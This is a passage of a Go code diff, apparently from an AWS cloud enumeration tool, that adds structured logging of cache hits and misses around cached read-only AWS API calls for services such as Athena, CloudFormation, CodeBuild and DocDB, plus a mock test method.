||||
return cached.([]apiGatwayV2Types.Route), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apigatewayv2:GetRoutes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
GetRoutes, err := client.GetRoutes(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/apprunner"
|
||||
apprunnerTypes "github.com/aws/aws-sdk-go-v2/service/apprunner/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AppRunnerClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedAppRunnerListServices(client AppRunnerClientInterface, accountID stri
|
||||
cacheKey := fmt.Sprintf("%s-apprunner-ListServices-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apprunner:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]apprunnerTypes.ServiceSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "apprunner:ListServices",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListServices, err := client.ListServices(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/athena"
|
||||
athenaTypes "github.com/aws/aws-sdk-go-v2/service/athena/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSAthenaClientInterface interface {
|
||||
@@ -26,8 +27,20 @@ func CachedAthenaListDataCatalogs(client AWSAthenaClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-athena-ListDataCatalogs-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDataCatalogs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]athenaTypes.DataCatalogSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDataCatalogs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDataCatalogs, err := client.ListDataCatalogs(
|
||||
context.TODO(),
|
||||
@@ -62,8 +75,22 @@ func CachedAthenaListDatabases(client AWSAthenaClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-athena-ListDatabases-%s-%s", accountID, region, catalogName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"catalogName": catalogName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "athena:ListDatabases",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"catalogName": catalogName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDatabases, err := client.ListDatabases(
|
||||
context.TODO(),
|
||||
|
||||
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloud9"
|
||||
cloud9Types "github.com/aws/aws-sdk-go-v2/service/cloud9/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCloud9ClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedCloud9ListEnvironments(client AWSCloud9ClientInterface, accountID str
|
||||
cacheKey := "cloud9-ListEnvironments-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:ListEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:ListEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListEnvironments, err := client.ListEnvironments(
|
||||
context.TODO(),
|
||||
@@ -60,8 +73,20 @@ func CachedCloud9DescribeEnvironments(client AWSCloud9ClientInterface, accountID
|
||||
cacheKey := "cloud9-DescribeEnvironments-" + accountID + "-" + region
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:DescribeEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloud9Types.Environment), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloud9:DescribeEnvironments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for _, environmentID := range environmentIDs {
|
||||
DescribeEnvironments, err := client.DescribeEnvironments(
|
||||
context.TODO(),
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloudformation"
|
||||
cloudFormationTypes "github.com/aws/aws-sdk-go-v2/service/cloudformation/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type CloudFormationClientInterface interface {
|
||||
@@ -29,8 +30,20 @@ func CachedCloudFormationDescribeStacks(client CloudFormationClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-DescribeStacks-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:DescribeStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloudFormationTypes.Stack), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:DescribeStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeStacks, err := client.DescribeStacks(
|
||||
context.TODO(),
|
||||
@@ -63,8 +76,20 @@ func CachedCloudFormationGetTemplate(client CloudFormationClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-GetTemplate-%s-%s", accountID, region, stackName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:GetTemplate",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:GetTemplate",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetTemplate, err := client.GetTemplate(
|
||||
context.TODO(),
|
||||
@@ -89,8 +114,20 @@ func CachedCloudFormationListStacks(client CloudFormationClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-cloudformation-ListStacks-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:ListStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloudFormationTypes.StackSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudformation:ListStacks",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListStacks, err := client.ListStacks(
|
||||
context.TODO(),
|
||||
|
||||
+11
-1
@@ -8,6 +8,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/cloudfront"
|
||||
cloudfrontTypes "github.com/aws/aws-sdk-go-v2/service/cloudfront/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCloudFrontClientInterface interface {
|
||||
@@ -25,9 +26,18 @@ func CachedCloudFrontListDistributions(CloudFrontClient AWSCloudFrontClientInter
|
||||
cacheKey := "cloudfront-ListDistributions-" + accountID
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached CloudFront distributions data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudfront:ListDistributions",
|
||||
"account": accountID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]cloudfrontTypes.DistributionSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "cloudfront:ListDistributions",
|
||||
"account": accountID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListDistributions, err := CloudFrontClient.ListDistributions(
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codeartifact"
|
||||
codeArtifactTypes "github.com/aws/aws-sdk-go-v2/service/codeartifact/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCodeArtifactClientInterface interface {
|
||||
@@ -27,8 +28,20 @@ func CachedCodeArtifactListDomains(client AWSCodeArtifactClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-codeartifact-ListDomains-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListDomains",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]codeArtifactTypes.DomainSummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListDomains",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDomains, err := client.ListDomains(
|
||||
context.TODO(),
|
||||
@@ -63,8 +76,20 @@ func CachedCodeArtifactListRepositories(client AWSCodeArtifactClientInterface, a
|
||||
cacheKey := fmt.Sprintf("%s-codeartifact-ListRepositories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]codeArtifactTypes.RepositorySummary), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codeartifact:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListRepositories, err := client.ListRepositories(
|
||||
context.TODO(),
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild"
|
||||
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type CodeBuildClientInterface interface {
|
||||
@@ -31,8 +32,20 @@ func CachedCodeBuildListProjects(CodeBuildClient CodeBuildClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-ListProjects", accountID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:ListProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:ListProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
ListProjects, err := CodeBuildClient.ListProjects(
|
||||
@@ -71,8 +84,20 @@ func CachedCodeBuildBatchGetProjects(CodeBuildClient CodeBuildClientInterface, a
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-BatchGetProjects-%s-%s", accountID, region, projectID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:BatchGetProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeBuildTypes.Project), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:BatchGetProjects",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
BatchGetProjects, err := CodeBuildClient.BatchGetProjects(
|
||||
context.TODO(),
|
||||
@@ -97,8 +122,20 @@ func CachedCodeBuildGetResourcePolicy(CodeBuildClient CodeBuildClientInterface,
|
||||
cacheKey := fmt.Sprintf("%s-codebuild-GetResourcePolicy-%s-%s", accountID, region, projectID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codebuild:GetResourcePolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetResourcePolicy, err := CodeBuildClient.GetResourcePolicy(
|
||||
context.TODO(),
|
||||
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/codebuild"
|
||||
codeBuildTypes "github.com/aws/aws-sdk-go-v2/service/codebuild/types"
|
||||
)
|
||||
|
||||
type MockedCodeBuildClient struct {
|
||||
@@ -19,6 +20,19 @@ func (m *MockedCodeBuildClient) ListProjects(ctx context.Context, input *codebui
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedCodeBuildClient) BatchGetProjects(ctx context.Context, input *codebuild.BatchGetProjectsInput, options ...func(*codebuild.Options)) (*codebuild.BatchGetProjectsOutput, error) {
|
||||
return &codebuild.BatchGetProjectsOutput{
|
||||
Projects: []codeBuildTypes.Project{
|
||||
{
|
||||
Name: aws.String("project1"),
|
||||
},
|
||||
{
|
||||
Name: aws.String("project2"),
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (m *MockedCodeBuildClient) GetResourcePolicy(ctx context.Context, input *codebuild.GetResourcePolicyInput, options ...func(*codebuild.Options)) (*codebuild.GetResourcePolicyOutput, error) {
|
||||
return &codebuild.GetResourcePolicyOutput{
|
||||
Policy: aws.String(`{
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codecommit"
|
||||
codeCommitTypes "github.com/aws/aws-sdk-go-v2/service/codecommit/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCodeCommitClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedCodeCommitListRepositories(client AWSCodeCommitClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-codecommit-ListRepositories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codecommit:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]codeCommitTypes.RepositoryNameIdPair), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codecommit:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListRepositories, err := client.ListRepositories(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codedeploy"
|
||||
codeDeployTypes "github.com/aws/aws-sdk-go-v2/service/codedeploy/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCodeDeployClientInterface interface {
|
||||
@@ -34,8 +35,20 @@ func CachedCodeDeployListApplications(client AWSCodeDeployClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-ListApplications-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListApplications, err := client.ListApplications(
|
||||
context.TODO(),
|
||||
@@ -70,8 +83,20 @@ func CachedCodeDeployListDeploymentConfigs(client AWSCodeDeployClientInterface,
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-ListDeploymentConfigs-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeploymentConfigs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeploymentConfigs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDeploymentConfigs, err := client.ListDeploymentConfigs(
|
||||
context.TODO(),
|
||||
@@ -106,8 +131,20 @@ func CachedCodeDeployListDeployments(client AWSCodeDeployClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-ListDeployments-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeployments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeployments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDeployments, err := client.ListDeployments(
|
||||
context.TODO(),
|
||||
@@ -140,8 +177,22 @@ func CachedCodeDeployGetApplication(client AWSCodeDeployClientInterface, account
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-GetApplication-%s-%s", accountID, region, applicationName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetApplication",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"application": applicationName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeDeployTypes.ApplicationInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetApplication",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"application": applicationName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetApplication, err := client.GetApplication(
|
||||
context.TODO(),
|
||||
&codedeploy.GetApplicationInput{
|
||||
@@ -165,8 +216,22 @@ func CachedCodeDeployGetDeploymentConfig(client AWSCodeDeployClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-GetDeploymentConfig-%s-%s", accountID, region, deploymentConfigName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeploymentConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deploymentConfig": deploymentConfigName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeDeployTypes.DeploymentConfigInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeploymentConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deploymentConfig": deploymentConfigName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetDeploymentConfig, err := client.GetDeploymentConfig(
|
||||
context.TODO(),
|
||||
&codedeploy.GetDeploymentConfigInput{
|
||||
@@ -190,8 +255,22 @@ func CachedCodeDeployGetDeployment(client AWSCodeDeployClientInterface, accountI
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-GetDeployment-%s-%s", accountID, region, deploymentID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeployment",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deployment": deploymentID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeDeployTypes.DeploymentInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeployment",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deployment": deploymentID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetDeployment, err := client.GetDeployment(
|
||||
context.TODO(),
|
||||
&codedeploy.GetDeploymentInput{
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/datapipeline"
|
||||
dataPipelineTypes "github.com/aws/aws-sdk-go-v2/service/datapipeline/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSDataPipelineClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedDataPipelineListPipelines(client AWSDataPipelineClientInterface, acco
|
||||
cacheKey := fmt.Sprintf("%s-datapipeline-ListPipelines-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "datapipeline:ListPipelines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]dataPipelineTypes.PipelineIdName), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "datapipeline:ListPipelines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListPipelines, err := client.ListPipelines(
|
||||
context.TODO(),
|
||||
|
||||
+37
-1
@@ -9,8 +9,8 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/docdb"
|
||||
docdbTypes "github.com/aws/aws-sdk-go-v2/service/docdb/types"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type DocDBClientInterface interface {
|
||||
@@ -32,8 +32,20 @@ func CachedDocDBDescribeGlobalClusters(client DocDBClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeGlobalClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeGlobalClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]docdbTypes.GlobalCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeGlobalClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeGlobalClusters, err := client.DescribeGlobalClusters(
|
||||
context.TODO(),
|
||||
@@ -68,8 +80,20 @@ func CachedDocDBDescribeDBClusters(client DocDBClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]docdbTypes.DBCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBClusters, err := client.DescribeDBClusters(
|
||||
context.TODO(),
|
||||
@@ -110,8 +134,20 @@ func CachedDocDBDescribeDBInstances(client DocDBClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]docdbTypes.DBInstance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBInstances, err := client.DescribeDBInstances(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/directoryservice"
|
||||
dsTypes "github.com/aws/aws-sdk-go-v2/service/directoryservice/types"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSDSClientInterface interface {
|
||||
@@ -28,8 +29,20 @@ func CachedDSDescribeDirectories(client AWSDSClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ds-DescribeDirectories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeDirectories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]dsTypes.DirectoryDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeDirectories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDirectories, err := client.DescribeDirectories(
|
||||
context.TODO(),
|
||||
@@ -64,8 +77,22 @@ func CachedDSDescribeTrusts(client AWSDSClientInterface, accountID string, regio
|
||||
cacheKey := fmt.Sprintf("%s-ds-DescribeTrusts-%s-%s", accountID, region, directoryId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeTrusts",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"directoryId": directoryId,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]dsTypes.Trust), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeTrusts",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"directoryId": directoryId,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDirectoryTrusts, err := client.DescribeTrusts(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/dynamodb"
|
||||
